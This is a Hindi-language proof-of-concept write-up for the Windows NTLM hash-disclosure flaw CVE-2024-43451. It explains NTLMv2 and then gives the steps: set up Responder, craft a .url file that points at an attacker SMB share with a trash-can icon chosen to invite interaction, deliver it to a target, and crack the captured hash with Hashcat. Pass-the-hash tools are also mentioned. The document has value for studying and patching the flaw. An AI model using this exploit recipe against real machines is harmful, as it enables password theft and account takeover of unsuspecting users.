विवरण

• नाम : CVE-2024-43451
• CVSSv3 स्कोर : 6.5
• प्रभावित संस्करण : नवंबर 2024 पैच से पहले के सभी Microsoft Windows संस्करण

CVE-2024-43451 Microsoft Windows में एक जीरो-डे कमज़ोरी है जो हमलावरों को उपयोगकर्ता से न्यूनतम इंटरैक्शन के साथ NTLMv2 पासवर्ड हैश कैप्चर करने की अनुमति देती है, जिससे क्रेडेंशियल चोरी हो सकती है। एक सामान्य शोषण विधि में हैश कैप्चर करने के लिए दूरस्थ सर्वर पर SMB कनेक्शन पर NTLM प्रमाणीकरण का लाभ उठाना शामिल है। इस कमज़ोरी को नवंबर 2024 के अपडेट में पैच किया गया था। उपयोगकर्ताओं को जोखिम को कम करने के लिए प्रासंगिक सुरक्षा अपडेट लागू करने की सलाह दी जाती है।

यह हमला एक समझौता किए गए यूक्रेनी सरकारी सर्वर से भेजे गए फ़िशिंग ईमेल का उपयोग करके सक्रिय रूप से शोषण करते हुए पाया गया था। ईमेल में एक दुर्भावनापूर्ण URL फ़ाइल शामिल है। जब उपयोगकर्ता फ़ाइल पर राइट-क्लिक करके, हटाकर या स्थानांतरित करके इंटरैक्ट करता है, तो कमज़ोरी सक्रिय हो जाती है। यह हमलावर के सर्वर से कनेक्शन शुरू करता है, जिससे SparkRAT मैलवेयर (एक ओपन-सोर्स रिमोट एक्सेस ट्रोजन जो हमलावर को पीड़ित के सिस्टम का नियंत्रण प्राप्त करने की अनुमति देता है) जैसी अधिक दुर्भावनापूर्ण फ़ाइलें डाउनलोड होती हैं।

NTLM प्रमाणीकरण

NTLMv2 वर्तमान में सबसे सुरक्षित संस्करण है और आज सबसे अधिक प्रासंगिक है।

• क्लाइंट सर्वर से कनेक्ट होता है और एक संसाधन तक पहुँच का अनुरोध करता है।
• सर्वर एक नॉन्स (एक यादृच्छिक 16-बाइट चैलेंज) उत्पन्न करता है और इसे क्लाइंट को भेजता है।
• क्लाइंट HMAC-MD5 एल्गोरिदम का उपयोग करके एक प्रतिक्रिया उत्पन्न करता है जिसमें पासवर्ड हैश (NT हैश एल्गोरिदम का उपयोग करके), सर्वर नॉन्स, टाइमस्टैम्प, क्लाइंट नॉन्स और अधिक शामिल है।
• सर्वर NT हैश का उपयोग करता है और अपनी स्वयं की NTLM प्रतिक्रिया उत्पन्न करने के लिए समान गणना दोहराता है, एक बार दोनों के पास अपनी प्रतिक्रिया होने पर, वे उनकी तुलना करने में सक्षम होते हैं।
• तुलना के बाद सर्वर कनेक्शन स्वीकार या अस्वीकार करने का निर्णय लेता है।

image

शोषण

POC सेटअप

इस POC के लिए एक कार्यशील वातावरण बनाने के लिए हमें नवंबर 2024 से पहले जारी बिल्ड नंबर वाली एक लक्ष्य Windows मशीन और हैश कैप्चर करने का अनुकरण करने के लिए एक दूरस्थ सर्वर सेटअप करना होगा:

1. SMB के माध्यम से हैश कैप्चर करने के लिए Responder डाउनलोड और इंस्टॉल करें:
   root@kitploit:~

   brew install python3
   

   root@kitploit:~

   git clone https://github.com/lgandx/Responder.git
   

   root@kitploit:~

   cd Responder
   

   root@kitploit:~

   sudo python3 Responder.py -I <अपना नेटवर्क इंटरफ़ेस डालें> -v
   

2. सुनिश्चित करें कि लक्ष्य Windows VM और आपके दूरस्थ "हैकर" वातावरण के बीच एक सफल कनेक्शन है।
3. एक्सप्लोरर पर जाकर और \\(दूरस्थ सर्वर IP) टाइप करके रिस्पॉन्डर सेटअप का परीक्षण करें:

एक्सप्लॉइट बनाना

चूंकि एक्सप्लॉइट को केवल दूरस्थ सर्वर के साथ SMB कनेक्शन बनाने की आवश्यकता है, हम इसका अनुकरण करने के लिए एक सरल फ़ाइल का उपयोग कर सकते हैं:

1. Notepad खोलें
2. निम्नलिखित दर्ज करें: आप कोई भी आइकन इनपुट कर सकते हैं जो उपयोगकर्ता को इंटरैक्शन के लिए प्रेरित करे, मैंने "पूर्ण कचरा कैन" आइकन (32) का उपयोग किया
   root@kitploit:~

   [InternetShortcut]
   URL=\\(दूरस्थ सर्वर IP)\share
   IconIndex=32
   IconFile=C:\Windows\System32\shell32.dll
   

3. इसे (नाम).url के रूप में सहेजें

सक्रिय प्रक्रिया

एक बार फ़ाइल तैयार हो जाने और लक्ष्य सिस्टम पर वितरित हो जाने पर, हैश चुराने के लिए न्यूनतम उपयोगकर्ता इंटरैक्शन की आवश्यकता होती है। इस इंटरैक्शन में निम्नलिखित में से कोई भी कार्रवाई शामिल हो सकती है:

• फ़ाइल डाउनलोड करना और "डाउनलोड" फ़ोल्डर तक पहुँचना
• फ़ाइल पर राइट-क्लिक करना
• फ़ाइल को दूसरे फ़ोल्डर में ले जाना

https://github.com/user-attachments/assets/fd6389b5-4ee9-4d90-a76e-562394b24058

https://github.com/user-attachments/assets/b820ea73-b0fc-40f1-920e-28cf7869f1e2

क्रैकिंग

अनएन्क्रिप्टेड हैश प्राप्त होने पर, हम या तो इसे क्रैक करके सादे टेक्स्ट पासवर्ड प्रकट करने का प्रयास कर सकते हैं या Mimikatz या Metasploit जैसे टूल के साथ "पास-द-हैश" हमले में इसका उपयोग कर सकते हैं।

हमारे मामले में एक सरल Hashcat कमांड मेरा पासवर्ड प्रकट करता है: hashcat -m 5600 leak.txt rockyou.txt